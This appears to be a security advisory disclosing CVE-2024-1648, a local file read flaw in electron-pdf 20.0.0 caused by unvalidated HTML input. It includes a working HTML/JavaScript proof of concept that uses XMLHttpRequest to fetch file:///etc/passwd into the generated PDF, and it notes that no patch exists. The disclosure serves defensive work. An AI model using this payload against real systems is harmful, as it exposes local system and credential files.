electron-pdf 20.0.0 - Local File Read

Description

electron-pdf version 20.0.0 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the HTML content entered by the user.

Vulnerability

This vulnerability occurs because the application does not validate that the HTML content entered by the user is not malicious.

Exploitation

To exploit this vulnerability, we only need to send the following malicious HTML to electron-pdf:

Exploit.html

<script>
 x=new XMLHttpRequest;
 x.onload=function(){document.write(this.responseText)};
 x.open("GET","file:///etc/passwd");x.send();
</script>

Thus, when electron-pdf parses the malicious HTML, it will return the local file specified in the generated PDF.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2024-1648 to refer to this issue from now on. Disclosure policy

System Information

• Version: electron-pdf 20.0.0

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://www.npmjs.com/package/electron-pdf/